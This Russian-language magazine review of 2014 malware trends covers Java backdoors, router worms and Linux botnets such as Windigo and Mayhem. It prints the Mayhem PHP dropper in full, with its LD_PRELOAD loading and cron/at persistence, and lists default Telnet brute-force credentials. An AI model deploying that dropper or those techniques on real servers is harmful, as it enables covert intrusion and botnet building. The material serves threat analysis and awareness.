Вот и подошел к кон­цу 2014 год. Пора под­водить ито­ги. Кто и как выделил­ся из серой мас­сы? Чьи соз­датели порази­ли нас сво­ей изощ­ренностью? Кто задал новый тренд на рын­ке malware? Узна­ешь из этой статьи!
 

Все любят Java, и злоумышленники — тоже

С чем обыч­но ассо­циирует­ся Java? Для зло­умыш­ленни­ков это преж­де все­го боль­шое количес­тво уяз­вимос­тей JRE, бла­года­ря которым с помощью экс­плойт‑паков им уда­ется гру­зить поль­зовате­лям тро­яны через бра­узе­ры. Но инже­нер­ная мысль не сто­ит на мес­те. Как ока­залось, Java-аппле­ты — отличное средс­тво для сво­еоб­разной обфуска­ции вре­донос­ного кода. Дру­гими сло­вами, ник­то не меша­ет сде­лать тро­ян для пер­сонал­ки пол­ностью на Java, потому как такие вещи для PC пока не в ходу. И соот­ветс­твен­но, соз­датели анти­виру­сов к такому поворо­ту событий еще не готовы.

Ве­роят­но, имен­но такими сооб­ражени­ями руководс­тво­вались чле­ны груп­пиров­ки Icefog, чья деятель­ность на про­тяже­нии нес­коль­ких лет находит­ся под прис­таль­ным вни­мани­ем сот­рудни­ков «Лабора­тории Кас­пер­ско­го».

Груп­пиров­ка Icefog, наз­ванная так по име­ни одно­го из коман­дных сер­веров, пред­положи­тель­но вклю­чает в себя учас­тни­ков из Китая, Южной Кореи и Япо­нии. Китай­ский — основной язык, исполь­зуемый учас­тни­ками груп­пиров­ки, встре­чает­ся как в сооб­щени­ях внут­ри прог­раммы и на коман­дном сер­вере, так и в регис­тра­цион­ных дан­ных доменов. Все хос­тинг‑пло­щад­ки сер­веров управле­ния Icefog при­над­лежат китай­ским ком­пани­ям.

Ос­новной почерк Icefog — точеч­ные ата­ки, которые харак­теризу­ются мак­сималь­но быс­трым добыва­нием необ­ходимых дан­ных с компь­юте­ров жертв. Дру­гими сло­вами, никаких для­щих­ся годами опе­раций.

Од­нако из любого пра­вила есть исклю­чения. В арсе­нале Icefog при­сутс­тву­ет нес­коль­ко вари­антов шпи­онских прог­рамм, которые в ЛК име­нуют­ся сле­дующим обра­зом (по спо­собу свя­зи с С&С):

  • Icefog образца 2011 года отправ­лял укра­ден­ные дан­ные по email, при­менял­ся про­тив Палаты пред­ста­вите­лей и Палаты совет­ников Япо­нии;
  • Icefog 1 — при помощи набора aspx-скрип­тов;
  • Icefog 2 — через proxy;
  • Icefog 3 — на С&С раз­верну­ты скрип­ты view.asp и update.asp;
  • Icefog 4 — на С&С раз­вернут скрипт upfile.asp;
  • Icefog-NG — через пря­мое TCP-соеди­нение по пор­ту 5600 (пред­шес­твен­ники исполь­зовали HTTP-про­токол).

Кро­ме того, име­ется реали­зация для плат­формы OS X под наз­вани­ем Macfog.

И вот в начале 2014 года сот­рудни­ки ЛК, ана­лизи­руя дан­ные, получен­ные в резуль­тате син­кхо­ла одно­го из C&C Icefog с име­нем lingdona.com, обна­ружи­ли, что для некото­рых заражен­ных компь­юте­ров параметр User-Agent име­ет зна­чение Java/1.7.0_40. Стро­ка явно ука­зыва­ла на то, что кли­ент — Java-при­ложе­ние. Это было необыч­но, пос­коль­ку во всех осталь­ных вари­антах Icefog исполь­зовались стан­дар­тные стро­ки User-Agent с ука­зани­ем в качес­тве кли­ента бра­узе­ра Internet Explorer.

В ходе даль­нейших изыс­каний был обна­ружен вре­донос­ный код, получив­ший наз­вание Javafog. При­меча­тель­но, что для уста­нов­ки его исполь­зовал­ся дру­гой файл с име­нем policyapplet.jar, являвший­ся, по всей видимос­ти, экс­плой­том, полез­ная наг­рузка которо­го копиро­вала Javafog под име­нем update.jar в каталог %TEMP% и про­писы­вала его в авто­заг­рузку через реестр в вет­ке HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run.

Бэк­дор Javafog содер­жал минимум команд, что не мешало ему пол­ностью кон­тро­лиро­вать заражен­ную сис­тему и отправ­лять поль­зователь­ские фай­лы на уда­лен­ный сер­вер:

  • upload_* — заг­рузить файл, ука­зан­ный пос­ле коман­ды, на коман­дный сер­вер, заг­ружа­емые дан­ные шиф­ровались прос­той опе­раци­ей XOR с клю­чом 0x99 и сох­ранялись в %server_url%/uploads/%file_name%;
  • cmd_UpdateDomain — сме­нить адрес коман­дно­го сер­вера, адрес нового сер­вера записы­вал­ся в файл %TEMP%update.dat;
  • cmd_* — выпол­нить коман­ду, для это­го исполь­зовалась коман­дная стро­ка cmd.exe /c %Коман­да%, резуль­таты выпол­нения переда­вались на коман­дный сер­вер по адре­су %server_url%/newsdetail.aspx?title=%host_id%.

Все­го сот­рудни­ки ЛК выяви­ли три уни­каль­ные жер­твы Javafog, при­чем все они находи­лись в США. По IP-адре­су была иден­тифици­рова­на одна из жертв — это ока­залась круп­ная аме­рикан­ская неф­тегазо­вая ком­пания, работа­ющая во мно­гих стра­нах мира.

Сам собой нап­рашива­ется вывод, что учас­тни­ки Icefog раз­работа­ли Javafog спе­циаль­но для про­веде­ния дол­говре­мен­ных опе­раций, так как кибер­прес­тупни­ки по сво­ему опы­ту решили, что Java-бэк­дор дей­ству­ет более скрыт­но и незамет­но и потому более пред­почти­телен, нежели «клас­сичес­кие» тро­яны.

Все та же «Лабора­тория Кас­пер­ско­го» в кон­це янва­ря 2014 года сооб­щила о рас­простра­нении вре­донос­ного Java-при­ложе­ния, которое ока­залось кросс‑плат­формен­ным DDoS-ботом, спо­соб­ным работать в сре­дах Windows, Linux и Mac OS. Дан­ный бот пол­ностью написан на Java. Для его рас­простра­нения исполь­зовалась уяз­вимость JRE CVE-2013-2465.

Семпл этой вре­донос­ной прог­раммы был пре­дос­тавлен Золь­таном Балажем (Zoltan Balazs), CTO ком­пании MRG Effitas. Наз­вание сем­плу в Лабора­тории дали незамыс­ловатое — HEUR:Backdoor.Java.Agent.a.

Для того что­бы усложнить ана­лиз и детек­тирова­ние бота, его раз­работ­чики исполь­зовали обфуска­тор Zelix Klassmaster. Помимо обфуска­ции байт‑кода, Zelix шиф­рует стро­ковые кон­стан­ты. Для каж­дого клас­са Zelix генери­рует раз­ные клю­чи, сле­дова­тель­но, что­бы рас­шифро­вать все стро­ки в при­ложе­нии, надо иссле­довать все клас­сы и най­ти клю­чи для рас­шифров­ки.

При запус­ке бот копиру­ет себя в %userprofile% и про­писы­вает­ся в авто­заг­рузку. В зависи­мос­ти от плат­формы, на которой он был запущен, выбира­ется один из сле­дующих вари­антов заг­рузки:

  • Windows — HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run;
  • Linux — /etc/init.d;
  • Mac OS — исполь­зует­ся стан­дар­тный для Mac OS сер­вис launchd, при­чем зашиф­рован­ный кон­фигура­цион­ный файл для это­го сер­виса находит­ся в теле бота.

Для однознач­ной иден­тифика­ции каж­дого DDoS-аген­та генери­рует­ся уни­каль­ный иден­тифика­тор, который записы­вает­ся в %userprofile% в файл jsuid.dat.

Уди­витель­но, но управле­ние осу­щест­вля­ется по про­токо­лу IRC, ведь такая тех­ника была очень широко рас­простра­нена лет десять назад. Для реали­зации вза­имо­дей­ствия по про­токо­лу IRC исполь­зует­ся откры­тый фрей­мворк PircBot, который интегри­рован во вре­донос­ный код. Пос­ле успешной уста­нов­ки соеди­нения бот заходит на заранее опре­делен­ный канал, где ожи­дает команд зло­умыш­ленни­ков.

Ос­новной фун­кци­онал бота — про­веде­ние DDoS-атак. Управля­ющие коман­ды при­нима­ют сле­дующие парамет­ры:

  • тип DDoS (под­держи­вают­ся толь­ко два вида — HTTP и UDP flood);
  • ад­рес и порт жер­твы;
  • дли­тель­ность про­веде­ния ата­ки;
  • ко­личес­тво порож­даемых для DDoS потоков.

При HTTP flood зна­чение User-Agent, который будет встав­лен в зап­рос, выбира­ется слу­чай­ным обра­зом из спис­ка, хра­няще­гося в теле бота в зашиф­рован­ном виде. Это сде­лано, веро­ятно, для обхо­да сис­тем обна­руже­ния DDoS-атак (рис. 1).

Рис. 1. Список User-Agent
Рис. 1. Спи­сок User-Agent

Как вид­но на при­мере двух рас­смот­ренных образцов вре­донос­ных при­ложе­ний, при­мене­ние для кодин­га Java поз­воля­ет соз­давать кросс‑плат­формен­ные и пока труд­но обна­ружи­ваемые анти­виру­сами тро­яны. Кста­ти, уста­нов­ку таких тро­янов удоб­но про­изво­дить через экс­плойт‑паки, про­бива­ющие JRE, что логич­но: там, где был про­бив, Java точ­но есть.

 

Роутеры под ударом

Как извес­тно, лома­ют чаще все­го то, что лег­ко лома­ется. Сколь­ко информа­ции опуб­ликова­но обо вся­ких дырах и бэк­дорах в домаш­них мар­шру­тиза­торах? Не перечис­лить. Поэто­му зло­умыш­ленни­ки вре­мя от вре­мени кле­пают саморас­простра­няющиеся вре­доно­сы, пыта­ясь пов­торить успех зна­мени­того чер­вя Мор­риса. Как извес­тно, его лавино­образное рас­простра­нение было обус­ловле­но край­не низ­кой план­кой обес­печения безопас­ности компь­юте­ров того вре­мени. Неч­то подоб­ное сей­час мож­но наб­людать для широко­го спек­тра сетевых устрой­ств, как SOHO, так и кор­поратив­ного сек­тора. К тому же в роуте­рах нет анти­виру­сов.

Так, иссле­дова­тели из инсти­тута SANS обна­ружи­ли чер­вя, поража­юще­го мар­шру­тиза­торы Linksys. Червь получил наз­вание The Moon, так как содер­жит внут­ри себя лого вымыш­ленной ком­пании Lunar Industries из филь­ма The Moon 2009 года.

В зависи­мос­ти от вер­сии про­шив­ки червь инфи­циру­ет мар­шру­тиза­торы: E4200, E3200, E3000, E2500, E2100L, E2000, E1550, E1500, E1200, E1000 и E900. Чуть поз­же было уста­нов­лено, что уяз­вимыми так­же были модели E300, WAG320N, WAP300N, WES610N, WAP610N, WRT610N, WRT400N, WRT600N, WRT320N, WRT160N, WRT150N.

Пред­полага­емой жер­тве червь посыла­ет URL-зап­рос вида "/HNAP1/", который воз­вра­щает XML-файл с нас­трой­ками и вер­сией про­шив­ки. Такой зап­рос явля­ется частью про­токо­ла Home Network Administration Protocol, который был раз­работан Cisco и пред­назна­чен для управле­ния сетевы­ми устрой­ства­ми. Если информа­ция о вер­сии мар­шру­тиза­тора и про­шив­ке отно­сит­ся к уяз­вимому устрой­ству, то The Moon посыла­ет на уяз­вимый CGI-скрипт мар­шру­тиза­тора экс­плойт для заг­рузки и выпол­нения сво­его тела. Уяз­вимый CGI-скрипт содер­жит ошиб­ку обра­бот­ки авто­риза­ции, поэто­му зап­рос посыла­ется с логином admin и слу­чай­ным паролем, так как эта про­вер­ка все рав­но не про­изво­дит­ся. Исполня­емый код чер­вя пред­став­ляет собой бинар­ный файл фор­мата ELF (Executable and Linkable), ском­пилиро­ван­ный для плат­формы MIPS. Пос­ле успешно­го зараже­ния The Moon начина­ет ска­ниро­вать сеть в поис­ках дру­гих уяз­вимых устрой­ств. Поиск про­изво­дит­ся по спис­ку из 670 диапа­зонов (вида /21 или /24), который захар­дко­жен внут­ри тела.

По утвер­жде­нию иссле­дова­телей SANS, внут­ри чер­вя при­сутс­тву­ет механизм свя­зи с коман­дным сер­вером, одна­ко попыток управле­ния бот­нетом из мар­шру­тиза­торов зафик­сирова­но не было. Спе­циалис­ты счи­тают, что было зараже­но поряд­ка тысячи устрой­ств. Рас­простра­нение The Moon было замече­но опе­рато­рами одно­го из про­вай­деров шта­та Вай­оминг, США, которые и сооб­щили об этом в инсти­тут SANS.

Ко­неч­но, мож­но ска­зать, что тысяча устрой­ств — это не так уж и мно­го. Хорошо, а как нас­чет 300 тысяч мар­шру­тиза­торов? Это зву­чит уже солид­нее.

В ИТ‑ком­пании Team Cymru говорят, что обна­ружен­ная ими бот­сеть из столь­ких устрой­ств явля­ется круп­ней­шей в сво­ем роде. Стив Сан­торел­ли, сот­рудник Team Cymru, рас­ска­зал, что факт сущес­тво­вания бот­сети из заражен­ных роуте­ров был уста­нов­лен из‑за наличия боль­шого количес­тва под­дель­ных DNS-зап­росов со сто­роны конеч­ных поль­зовате­лей. Спе­циалис­тов заин­тересо­вало, что поль­зователь­ские устрой­ства в мас­совом поряд­ке работа­ют не с про­вай­дер­ски­ми DNS, а со сто­рон­ними сер­верами.

Ко­неч­но же, такая боль­шая бот­сеть была явно сфор­мирова­на не чер­вем, а в резуль­тате ска­ниро­вания интерне­та на пред­мет наличия уяз­вимых устрой­ств через заражен­ные сер­веры и взло­ма при помощи экс­плой­тов. Само ска­ниро­вание про­изво­дит­ся заражен­ными сер­верами, так как каналов и вычис­литель­ных мощ­ностей у них явно боль­ше, чем у домаш­него мар­шру­тиза­тора. Одна­ко это показы­вает, нас­коль­ко успешным может быть ата­ка чер­вя, который будет рас­простра­нять­ся через роуте­ры самос­тоятель­но. Кста­ти, живой при­мер такого чер­вя уже был в 2012 году, это Carna. Он пред­став­лял собой вре­донос­ный код, соз­данный с исполь­зовани­ем час­ти исходни­ков про­шив­ки OpenWRT.

Пос­леднее иссле­дова­ние ком­пании Tripwire, про­веден­ное в теперь уже прош­лом году, показа­ло, что 80% из топ-25 самых про­дава­емых в Amazon моделей бес­про­вод­ных мар­шру­тиза­торов, которые исполь­зуют­ся рядовы­ми поль­зовате­лями и неболь­шими ком­пани­ями, уяз­вимы для хакер­ских атак. По дан­ным Tripwire, 30% экспер­тов в области информа­цион­ных тех­нологий и 46% рядовых поль­зовате­лей даже не изме­няют пароль адми­нис­тра­тора, уста­нов­ленный в устрой­стве по умол­чанию.

GCHQ

Центр пра­витель­ствен­ной свя­зи (англ. Government Communications Headquarters, GCHQ) — спец­служ­ба Великоб­ритании, ответс­твен­ная за ведение ради­оэлек­трон­ной раз­ведки и за обес­печение защиты информа­ции орга­нов пра­витель­ства и армии. Спец­служ­ба была соз­дана в 1919 году под наз­вани­ем Пра­витель­ствен­ная шко­ла кодиро­вания и шиф­рования (англ. Government Code and Cypher School, GC&CS). Имен­но ее спе­циалис­ты в ходе Вто­рой мировой вой­ны смог­ли взло­мать немец­кие коды «Эниг­ма». В 1946 году центр получил свое текущее наз­вание. Мно­гие сот­рудни­ки GCHQ ста­ли учи­теля­ми для спе­циалис­тов NSA, обра­зован­ного толь­ко в 1952 году. С тех пор эти два ведомс­тва под­держи­вают самые тес­ные кон­такты. Нап­ример, в рам­ках опе­рации под кодовым наз­вани­ем Tempora центр перех­ватыва­ет про­ходя­щий через тер­риторию Великоб­ритании меж­дународ­ный интернет‑тра­фик, пре­дос­тавляя США дос­туп к получен­ной информа­ции.

 

Так ли все безоблачно в среде Linux?

Нес­мотря на упор­ные ман­тры отдель­ных крас­ногла­зиков, утвер­жда­ющих, что под Linux вре­доно­сов быть не может, реаль­ность доказы­вает обратное. Как извес­тно, боль­шинс­тво сер­веров в интерне­те работа­ет под управле­нием *nix-подоб­ных опе­раци­онных сис­тем. Естес­твен­но, зло­умыш­ленни­ки прос­то не могут обой­ти это вни­мани­ем. Разуме­ется, план­ка *nix-вре­доно­сов изна­чаль­но была доволь­но высокой. Если под Windows про­цен­тов 80 вре­донос­ных прог­рамм написа­но дилетан­тами, то в *nix находят пре­иму­щес­твен­но такие образцы, которые сви­детель­ству­ют о дос­таточ­но высоком уров­не зна­ний их раз­работ­чиков.

В 2014 году опуб­ликова­на информа­ция о нес­коль­ких вре­донос­ных кам­пани­ях, свя­зан­ных имен­но с зараже­нием *nix-сис­тем.

При­мер пер­вый иллюс­три­рует ESET со сво­им рас­сле­дова­нием опе­рации, получив­шей наз­вание Windigo.

Эта опе­рация началась как минимум в 2011 году, в ходе ее пос­тра­дали даже такие извес­тные ком­пании, как cPanel (раз­работ­чик одно­имен­ной панели управле­ния хос­тингом) и kernel.org, которая обслу­жива­ет основной репози­торий исходно­го кода ядра Linux.

Windigo была рас­кры­та ESET сов­мес­тно с CERT-Bund, иссле­дова­тель­ским цен­тром SNIC и евро­пей­ской орга­низа­цией ядер­ных иссле­дова­ний (CERN). Началь­ная фаза ата­ки сер­веров про­исхо­дила без исполь­зования каких‑либо экс­плой­тов, вмес­то это­го исполь­зовались заражен­ные вре­донос­ным содер­жимым дис­три­бути­вы раз­лично­го ПО для Linux, а так­же учет­ные дан­ные для вхо­да на сер­вер, получен­ные со ском­про­мети­рован­ных компь­юте­ров поль­зовате­лей. В даль­нейшем дан­ные учет­ных записей попол­нялись за счет заражен­ных сер­веров.

В ходе опе­рации Windigo было задей­ство­вано нес­коль­ко вре­донос­ных прог­рамм, на сто­роне сер­вера это были:

  • Linux/Ebury — root backdoor shell, пре­дос­тавля­ет пол­ный дос­туп к сис­теме через коман­дную стро­ку, а так­же име­ет воз­можнос­ти по кра­же учет­ных дан­ных SSH, может работать как на Linux, так и на FreeBSD-сер­верах;
  • Linux/Cdorked — ком­про­мети­рует веб‑сер­веры под управле­нием Linux, пре­дос­тавля­ет пол­ный дос­туп к сис­теме через коман­дную стро­ку и отве­чает за зараже­ние вре­донос­ным кодом поль­зовате­лей Windows, может работать в сре­де Apache httpd, nginx и lighttpd;
  • Linux/Onimiki — ком­про­мети­рует DNS-сер­веры Linux, отве­чает за пре­обра­зова­ние домен­ных имен, которые сов­пада­ют с опре­делен­ным шаб­лоном, в соот­ветс­тву­ющие IP-адре­са, без модифи­кации нас­тро­ек кон­фигура­ции на сто­роне сер­вера;
  • Perl/Calfbot — спам‑бот, реали­зован­ный на язы­ке Perl.
Рис. 2. Взаимодействие компонентов Windigo
Рис. 2. Вза­имо­дей­ствие ком­понен­тов Windigo

Веб‑сер­веры, заражен­ные Linux/Cdorked, перенап­равля­ли поль­зовате­лей Windows на сер­веры наборов экс­плой­тов (до осе­ни 2013-го — Blackhole, далее переш­ли на Neutrino), которые пытались скрыт­но заг­рузить один из двух тро­янов, Win32/Boaxxe.G для орга­низа­ции клик­фро­да и Win32/Glupteba.M, выс­тупа­ющий в качес­тве сер­виса прок­си.

Кра­жа учет­ных дан­ных SSH была единс­твен­ным спо­собом, с помощью которо­го обес­печивал­ся дос­туп к новым сер­верам. Все­го было два вари­анта кра­жи учет­ных дан­ных SSH, реали­зуемых Linux/Ebury: ког­да поль­зователь совер­шает успешную опе­рацию вхо­да на заражен­ный сер­вер и ког­да поль­зователь исполь­зует заражен­ный сер­вер для вхо­да в дру­гую сис­тему.

Пос­ле того как укра­ден­ные дан­ные учет­ных записей ока­зыва­лись в руках опе­рато­ров Windigo, они про­веря­лись на уро­вень дос­тупа. Если учет­ная запись не пре­дос­тавля­ла пра­ва root, сер­вер мог остать­ся нет­ронутым или на него уста­нав­ливал­ся спам‑бот Perl/Calfbot. В про­тив­ном слу­чае (есть пра­ва root) на сер­вер уста­нав­ливал­ся Linux/Ebury. Если на ском­про­мети­рован­ном сер­вере фун­кци­они­ровал один или нес­коль­ко веб‑сай­тов, то в такую сис­тему уста­нав­ливал­ся Linux/Cdorked.

Об­щее количес­тво сер­веров, заражен­ных Linux/Cdorked, сос­тавило более двух тысяч, все­го за пос­ледние два года были ском­про­мети­рова­ны более 25 тысяч сер­веров.

Эк­спер­ты ESET отме­чают, что вре­донос­ные прог­раммы, исполь­зуемые в ходе опе­рации Windigo, раз­работа­ны на дос­таточ­но высоком уров­не: в них исполь­зуют­ся тех­ники сок­рытия при­сутс­твия в сис­теме, перено­симость меж­ду раз­личны­ми плат­форма­ми, крип­тогра­фия, а так­же они показы­вают высокий уро­вень поз­наний ата­кующих в сис­теме Linux.

При­мер вто­рой — ком­пания «Яндекс» опуб­ликова­ла иссле­дова­ние вре­донос­ного кода, получив­шего наз­вание Mayhem.

Ос­новной фун­кци­онал вре­доно­са скрыт в биб­лиоте­ке libworker.so, которая заг­ружа­ется доволь­но ори­гиналь­ным обра­зом. Инстал­ляция выпол­няет­ся при помощи вре­донос­ного PHP-скрип­та, который раз­меща­ется на сер­вере‑жер­тве.

<?php
header("Content-type: text/plain");
print "2842123700\n";
if (! function_exists('file_put_contents')) {
function file_put_contents($filename, $data) {
$f = @fopen($filename, 'w');
if (! $f)
return false;
$bytes = fwrite($f, $data);
fclose($f);
return $bytes;
}
}
@system("killall -9 ".basename("/usr/bin/host"));
$so32 = <hex_body_of_library_for_x32>;
$so64 = <hex_body_of_library_for_x64>;
$arch = 64;
if (intval("9223372036854775807") == 2147483647)
$arch = 32;
print "Arch is ".$arch."\n";
$so = $arch == 32 ? $so32 : $so64;
$f = fopen("/usr/bin/host", "rb");
if ($f) {
$n = unpack("C*", fread($f, 8));
$so[7] = sprintf("%c", $n[8]);
print "System is ".($n[8] == 9 ? "FreeBSD" : "Linux")."\n";
fclose($f);
}
print "SO dumped ".file_put_contents("./libworker.so", $so)."\n";
if (getenv("MAYHEM_DEBUG"))
exit(0);
$AU=@$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
/* second stage dropper */
$HBN=basename("/usr/bin/host");
$SCP=getcwd();
$SCR ="#!/bin/sh\ncd '".$SCP."'\nif [ -f './libworker.so' ];then killall -9 $HBN;
export AU='".$AU."'\nexport LD_PRELOAD=./libworker.so\n/usr/bin/host\nunset LD_PRELOAD\n";
$SCR .="crontab -l|grep -v '1\.sh'|grep -v crontab|crontab\nfi\nrm 1.sh\nexit 0\n";
@file_put_contents("1.sh", $SCR);
@chmod("1.sh", 0777);
/* try at now, file will be removed, crontab cleaned on success */
@system("at now -f 1.sh", $ret);
if ($ret == 0) {
for ($i = 0; $i < 5; $i++) {
if (! @file_exists("1.sh")) {
print "AT success\n";
exit(0);
}
sleep(1);
}
}
@system("(crontab -l|grep -v crontab;echo;echo '* * * * * ".$SCP."/1.sh')|crontab", $ret);
if ($ret == 0) {
for ($i = 0; $i < 62; $i++) {
if (! @file_exists("1.sh")) {
print "CRONTAB success\n";
exit(0);
}
sleep(1);
}
}
print "Running straight\n";
@system("./1.sh");?>

Как же PHP-скрипт попада­ет на сер­вер? Фак­торы рис­ка извес­тные: исполь­зование ста­рых вер­сий CMS (по резуль­татам поис­ка в Google боль­ше все­го нарека­ний на WordPress), сла­бые пароли, уяз­вимые вер­сии пла­гинов и про­чее. Кро­ме того, до сих пор эффектив­на методи­ка кра­жи паролей от FTP тро­яна­ми, а FTP обыч­но юза­ется для залив­ки кон­тента на сайт.

По­пав на сер­вер, вре­донос­ный PHP-скрипт начина­ет свою работу. Пос­ле запус­ка опре­деля­ется архи­тек­тура сис­темы (x86 или x64) и наличие прав на запись в текущую дирек­торию. Обыч­но такие пра­ва есть у поль­зовате­ля, под которым запущен веб‑сер­вер, и их дос­таточ­но для работы Mayhem.

Скрипт выпол­няет коман­ду killall для всех запущен­ных под текущим поль­зовате­лем про­цес­сов /usr/bin/host (штат­ная сис­темная ути­лита) и извле­кает из себя биб­лиоте­ку нуж­ной архи­тек­туры (x86 или x64).

При помощи вызова system() запус­кает­ся /usr/bin/host с выс­тавлен­ным фла­гом LD_PRELOAD=libworker.so, при этом в биб­лиоте­ке libworker.so пере­опре­деля­ется фун­кция exit(). Исполь­зуемые в про­цес­се работы Mayhem фай­лы и пла­гины сох­раня­ются в фай­ле с име­нем .sd0, внут­ри которо­го соз­дает­ся образ фай­ловой сис­темы фор­мата FAT в зашиф­рован­ном виде. Для работы с обра­зом при­меня­ется откры­тая биб­лиоте­ка FAT16/32 File System Library (fat_filelib). Скры­тая ФС исполь­зует­ся для хра­нения слу­жеб­ных фай­лов и пла­гинов бота.

При успешной заг­рузке libworker.so перемен­ная окру­жения LD_PRELOAD и сама биб­лиоте­ка уда­ляет­ся с дис­ка, так­же исполь­зуют­ся еще нес­коль­ко анти­отла­доч­ных при­емов. В резуль­тате на дис­ке не оста­ется прак­тичес­ки никаких сле­дов при­сутс­твия Mayhem.

Да­лее рас­шифро­выва­ется кон­фигура­ция, которая находит­ся в сег­менте дан­ных биб­лиоте­ки. Кон­фигура­ция содер­жит три парамет­ра: URL коман­дно­го сер­вера, имя фай­ла и раз­мер скры­той ФС. Получив парамет­ры под­клю­чения, бот рапор­тует об успешном запус­ке, при этом если файл со скры­той ФС уже при­сутс­тву­ет, то Mayhem исполь­зует имен­но его для даль­нейшей работы.

В ходе рас­сле­дова­ния были обна­руже­ны пла­гины со сле­дующим фун­кци­она­лом:

  • по­иск сай­тов, уяз­вимых к Remote File Inclusion;
  • оп­ределе­ние имен поль­зовате­лей для сай­тов на базе WordPress, в даль­нейшем эти дан­ные исполь­зуют­ся для под­бора паролей;
  • по­иск стра­ниц авто­риза­ции для сай­тов на Joomla и WordPress;
  • пе­ребор паролей к стра­ницам авто­риза­ции CMS- и ISP-панелей;
  • по­иск стра­ниц с задан­ной темати­кой, пла­гин получа­ет спи­сок сай­тов, обхо­дит их рекур­сивно с задан­ной глу­биной обхо­да и собира­ет адре­са стра­ниц, которые удов­летво­ряют опре­делен­ному набору пра­вил;
  • пе­ребор паролей FTP-акка­унтов;
  • ска­ниро­вание диапа­зонов IP-адре­сов;
  • по­иск веб‑интерфей­са СУБД MySQL (phpMyAdmin);
  • экс­плу­ата­ция уяз­вимос­тей Heartbleed и ShellShock.

В ходе иссле­дова­ний спе­циалис­там Яндекса уда­лось обна­ружить три коман­дных сер­вера. Один из них уже не фун­кци­они­ровал, а оставши­еся два исполь­зовались для управле­ния более чем 1400 заражен­ных сер­веров.

При­мер тре­тий — отчет ком­пании Akamai Technologies о сфор­мирован­ном из Linux-сер­веров бот­нете IptabLes/IptabLex, исполь­зуемом для орга­низа­ции DDoS-атак. В сос­тав бот­нета вхо­дили сер­веры, на которых исполь­зовались уяз­вимые вер­сии Apache Struts, Apache Tomcat и Elasticsearch.

Пос­ле экс­плу­ата­ции уяз­вимос­тей и получе­ния дос­тупа к сис­теме на сер­верах пос­ледова­тель­но запус­кались два бинар­ных фай­ла фор­мата ELF с име­нами IptabLes и IptabLex. При удач­ном повыше­нии прав оба этих фай­ла заг­ружались в каталог /boot, в про­тив­ном слу­чае заг­рузка про­изво­дилась в каталог /usr. Файл IptabLes (раз­мер око­ло 1 Мб) пред­став­лял собой более «прод­винутую» вер­сию фай­ла IptabLex (раз­мер око­ло 700 Кб), при этом он мог пол­ноцен­но работать толь­ко при наличии прав root. В отдель­ных слу­чаях две эти вер­сии работа­ли одновре­мен­но. Внут­ри кода были жес­тко заданы два адре­са коман­дных сер­веров, тер­ритори­аль­но раз­мещен­ных в Китае.

Ав­тозапуск бота осу­щест­влял­ся через стан­дар­тный механизм /etc/rc.d/init.d, для чего соз­давались соот­ветс­тву­ющие сим­воличес­кие ссыл­ки. Бинар­ный код спо­собен был выпол­нять­ся в сре­де таких популяр­ных дис­три­бути­вов Linux, как Debian, Ubuntu, CentOS и Red Hat.

В качес­тве методов DDoS исполь­зовались SYN flood и DNS flood. С исполь­зовани­ем дан­ного бот­нета был про­веден ряд атак, в резуль­тате одной из которых на сис­темы жер­твы уда­лось нап­равить тра­фик про­пус­кной спо­соб­ностью в 119 Гбит/с и интенсив­ностью 110 мил­лионов пакетов в секун­ду. Отме­чает­ся, что это одна из круп­ней­ших DDoS-атак в 2014 году.

При­мер чет­вертый — иссле­дова­ние ком­пании «Док­тор Веб» DDoS-бота Linux.BackDoor.Fgt.1.

Бот спо­собен фун­кци­они­ровать на раз­личных устрой­ствах, работа­ющих под управле­нием ОС Linux. Сущес­тву­ют вер­сии для раз­личных дис­три­бути­вов, в том чис­ле встра­иваемых сис­тем для архи­тек­тур MIPS и SPARC.

Бот выпол­няет сле­дующие коман­ды:

  • зап­рос IP-адре­са инфи­циро­ван­ного устрой­ства;
  • за­пуск или оста­нов­ка цик­ла ска­ниро­вания;
  • ата­ка DNS Amplification;
  • ата­ка UDP Flood;
  • ата­ка SYN Flood;
  • за­вер­шение ата­ки;
  • за­вер­шение работы.

Ска­ниро­вание — это про­цесс, который исполь­зует­ся для зараже­ния дру­гих устрой­ств в авто­мати­чес­ком режиме. В течение одно­го цик­ла ска­ниру­ются 256 уда­лен­ных IP-адре­сов, выб­ранных слу­чай­ным обра­зом. При генера­ции спис­ка IP про­веря­ется, не попада­ют ли они в диапа­зоны, которые исполь­зуют­ся внут­ри локаль­ных сетей, — такие адре­са игно­риру­ются.

Ра­ботая по спис­ку, бот пыта­ется соеди­нить­ся с пор­том Telnet и получить от ата­куемой сис­темы зап­рос логина. Отпра­вив на уда­лен­ный узел логин из спис­ка (root, admin), бот ана­лизи­рует отклик. Если в нем встре­чает­ся зап­рос для вво­да пароля, тро­янец пыта­ется выпол­нить авто­риза­цию методом перебо­ра паролей по спис­ку (root, admin, 12345). В слу­чае успе­ха на управля­ющий сер­вер отправ­ляют­ся IP-адрес, логин и пароль, а на ата­куемый узел нап­равля­ется коман­да заг­рузки bash-скрип­та, который ска­чива­ет из интерне­та и запус­кает исполня­емый файл нуж­ной архи­тек­туры. Таким обра­зом тро­янец саморас­простра­няет­ся.

Как видим, для пос­тро­ения бот­нетов все чаще исполь­зуют уяз­вимые сер­верные Linux-сис­темы вмес­то кли­ент­ских машин под управле­нием Windows, как рань­ше. И судя по тен­денции, это толь­ко начало...

NSA

Агентство наци­ональ­ной безопас­ности Соеди­нен­ных Шта­тов (англ. National Security Agency, NSA) — под­разде­ление ради­отех­ничес­кой и элек­трон­ной раз­ведки Минис­терс­тва обо­роны США. Из‑за сво­ей сек­ретнос­ти час­то называ­ется «Агентством, которо­го нет» (англ. No Such Agency). По мне­нию подав­ляюще­го боль­шинс­тва меж­дународ­ных экспер­тов, NSA пред­став­ляет собой едва ли не самую мощ­ную раз­ведыва­тель­ную служ­бу мира. На дан­ный момент NSA и свя­зан­ные с ним государс­твен­ные струк­туры, при­чем не толь­ко в Соеди­нен­ных Шта­тах, кон­трак­торы и вза­имо­дей­ству­ющие с Агентством час­тные кор­порации обес­печили США подав­ляющее гос­подс­тво в мировом информа­цион­ном прос­транс­тве и кибер­сфе­ре. По сути, «Агентство, которо­го нет» ска­ниру­ет, кон­тро­лиру­ет и накап­лива­ет подав­ляющую часть информа­цион­ных потоков в мире, вклю­чая тек­сто­вую, аудио-, видео- и фото­информа­цию, финан­совые тран­закции и сиг­налы, 